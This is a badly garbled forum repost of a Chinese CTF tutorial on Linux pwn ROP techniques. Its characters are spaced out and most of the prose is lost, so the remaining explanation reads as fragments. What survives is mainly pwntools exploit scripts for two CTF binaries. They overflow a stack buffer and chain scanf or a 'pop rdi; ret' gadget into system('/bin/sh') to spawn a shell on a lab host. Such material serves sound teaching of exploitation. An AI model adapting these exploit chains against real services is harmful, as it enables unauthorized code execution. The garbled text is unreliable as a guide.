[19505] 2019-07-11_CTF必备技能丨LinuxPwn入门教程——ROP技术(上)

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2019-07-11_CTF必备技能丨LinuxPwn入门教程——ROP技术(上) C T F L i n u x   P w n R O P i   2 0 1 9 - 0 7 - 1 1 L i n u x   P w n i P w n L i n u x   P w n i 3 8 6 / a m d 6 4 L i n u x   P w n P w n D o c k e r p y t h o n > > L i n u x   P w n L i n u x   P w n L i n u x   P w n S h e l l C o d e C T F 使 L i n u x   P w n R O P 1 0
s h e l l c o d e R W X ( W ) ( X ) S h e l l C o d e E I P r e a d (   ) / s c a n f (   ) / g e t s (   ) E L F R W X 使 I D A C t r l   +   S 使 P w n t o o l s c h e c k s e c R W X
m p r o t e c t (   ) ,   m m a p (   ) R W X R W X S h e l l C o d e N X N o   e X e c u t e   b i t C P U X 使 S h e l l C o d e R O P R e t u r n - O r i e n t e d   P r o g r a m m i n g , R O P 使 r e t 使 j m p c a l l J O P / C O P r e t r e t p o p   e i p R O P g a d g e t r e t / j m p / c a l l N X 使 使 R O P g o t x 8 6 R O P g o t ~ / R e d H a t   2 0 1 7 - p w n 1 / p w n 1 m a i n v 1 b p - 2 8 h 使 _ _ i s o c 9 9 _ s c a n f N X s h e l l c o d e s h e l l s y s t e m s y s t e m ( / b i n / s h ) s y s t e m / b i n / s h 使 G O T P L T
. g o t . p l t s y s t e m / b i n / s h _ _ i s o c 9 9 _ s c a n f / b i n / s h R O P / b i n / s h C t r l + S 0 x 0 8 0 4 a 0 3 0 8 A S L R _ _ i s o c 9 9 _ s c a n f % s 0 x 0 8 0 4 8 6 2 9 使 p w n t o o l s _ _ i s o c 9 9 _ s c a n f P L T P L T s t u b E I P P L T x 8 6 R O P ` f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( a r c h   =   ' i 3 8 6 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 )
E I P r e t n p l t _ _ i s o c 9 9 _ s c a n f l i b c c a l l c a l l c a l l r e t c a l l E I P c a l l _ _ i s o c 9 9 _ s c a n f c a l l s c a n f _ a d d r f o r m a t _ s b i n s h _ a d d r ` c a l l e l f   =   E L F ( ' . / p w n 1 ' ) s c a n f _ a d d r   =   p 3 2 ( e l f . s y m b o l s [ ' _ _ i s o c 9 9 _ s c a n f ' ] ) f o r m a t _ s   =   p 3 2 ( 0 x 0 8 0 4 8 6 2 9 ) b i n s h _ a d d r   =   p 3 2 ( 0 x 0 8 0 4 a 0 3 0 ) s h e l l c o d e 1   =   ' A ' * 0 x 3 4 s h e l l c o d e 1   + =   s c a n f _ a d d r s h e l l c o d e 1   + =   f o r m a t _ s s h e l l c o d e 1   + =   b i n s h _ a d d r p r i n t   i o . r e a d (   ) i o . s e n d l i n e ( s h e l l c o d e 1 ) i o . s e n d l i n e ( / b i n / s h ) 0 8 0 4 8 5 5 7     m o v       [ e s p + 4 ] ,   e a x 0 8 0 4 8 5 5 B     m o v       d w o r d   p t r   [ e s p ] ,   o f f s e t   u n k _ 8 0 4 8 6 2 9                               0 8 0 4 8 5 6 2     c a l l         _ _ _ i s o c 9 9 _ s c a n f                               0 8 0 4 8 5 6 7     l e a           e a x ,   [ e s p + 1 8 h ]
c a l l R O P 0 8 0 4 8 5 8 0                   l e a v e 0 8 0 4 8 5 8 1                 r e t n                                                 ;                 p o p   e i p F 7 E 2 2 6 1 0                   _ _ i s o c 9 9 _ s c a n f : F 7 E 2 2 6 1 0                 p u s h         e b p F 7 E 2 2 6 1 1                 m o v           e b p ,   e s p
E I P s c a n f s y s t e m _ _ i s o c 9 9 _ s c a n f m a i n 便 R O P _ _ i s o c 9 9 _ s c a n f / b i n / s h 0 x 0 8 0 4 a 0 3 0 m a i n R O P s y s t e m s y s t e m ( / b i n / s h ) R O P 仿 6 4 使 R O P g o t ~ / b u g s   b u n n y   c t f   2 0 1 7 - p w n 1 5 0 / p w n 1 5 0 H e l l o (   ) f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( a r c h   =   ' i 3 8 6 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 ) e l f   =   E L F ( ' . / p w n 1 ' ) s c a n f _ a d d r   =   p 3 2 ( e l f . s y m b o l s [ ' _ _ i s o c 9 9 _ s c a n f ' ] )                 f o r m a t _ s   =   p 3 2 ( 0 x 0 8 0 4 8 6 2 9 )                 b i n s h _ a d d r   =   p 3 2 ( 0 x 0 8 0 4 a 0 3 0 ) s h e l l c o d e 1   =   ' A ' * 0 x 3 4                 s h e l l c o d e 1   + =   s c a n f _ a d d r s h e l l c o d e 1   + =   m a i n _ a d d r s h e l l c o d e 1   + =   f o r m a t _ s s h e l l c o d e 1   + =   b i n s h _ a d d r p r i n t   i o . r e a d ( ) i o . s e n d l i n e ( s h e l l c o d e 1 ) i o . s e n d l i n e ( / b i n / s h )
N X s y s t e m / b i n / s h m a i n t o d a y s y s t e m ( / b i n / d a t e ) s y s t e m / b i n / s h s h s h e l l s y s t e m s h s h e l l x 8 6 x 6 4 r d i ,   r s i ,   r d x ,   r c x ,   r 8 ,   r 9 R D I R O P p o p   r d i ;   r e t r d i R O P   g a d g e t P w n t o o l s R O P R O P g a d g e t r p + + r o p e m e 使 R O P g a d g e t h t t p s : / / g i t h u b . c o m / J o n a t h a n S a l w a n / R O P g a d g e t R O P g a d g e t   - - b i n a r y   使 g r e p g a d g e t s t r i c k I D A
0 x 4 0 0 8 8 3 0 x 4 0 0 8 8 2 p o p   r 1 5 ,   0 x 4 0 0 8 8 4 r e t n p o p   r d i R O P g a d g e t b u g 0 x 4 0 0 8 8 2 D 0 x 4 0 0 8 8 3 C p o p   r d i p o p   r 1 5 o p c o d e o p c o d e 西 R O P c a l l   s y s t e m
s h e l l r e t n 0 x 4 0 0 8 8 3 g a d g e t p o p   r d i ;   r e t p o p   r d i s h 0 x 4 0 0 3 e f r d i # ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( a r c h   =   ' a m d 6 4 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 ) c a l l _ s y s t e m   =   0 x 4 0 0 7 5 f                                                 # c a l l   s y s t e m b i n s h   =   0 x 4 0 0 3 e f                                                 # " s h " p o p _ r d i   =   0 x 4 0 0 8 8 3                                                 # p o p   r d i ;   r e t n p a y l o a d   =   " " p a y l o a d   + =   " A " * 8 8                                                 # p a d d i n g p a y l o a d   + =   p 6 4 ( p o p _ r d i )                               p a y l o a d   + =   p 6 4 ( b i n s h )                                                 # r d i " s h " p a y l o a d   + =   p 6 4 ( c a l l _ s y s t e m )                                 # s y s t e m s y s t e m ( " s h " ) i o . s e n d l i n e ( p a y l o a d ) i o . i n t e r a c t i v e ( )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则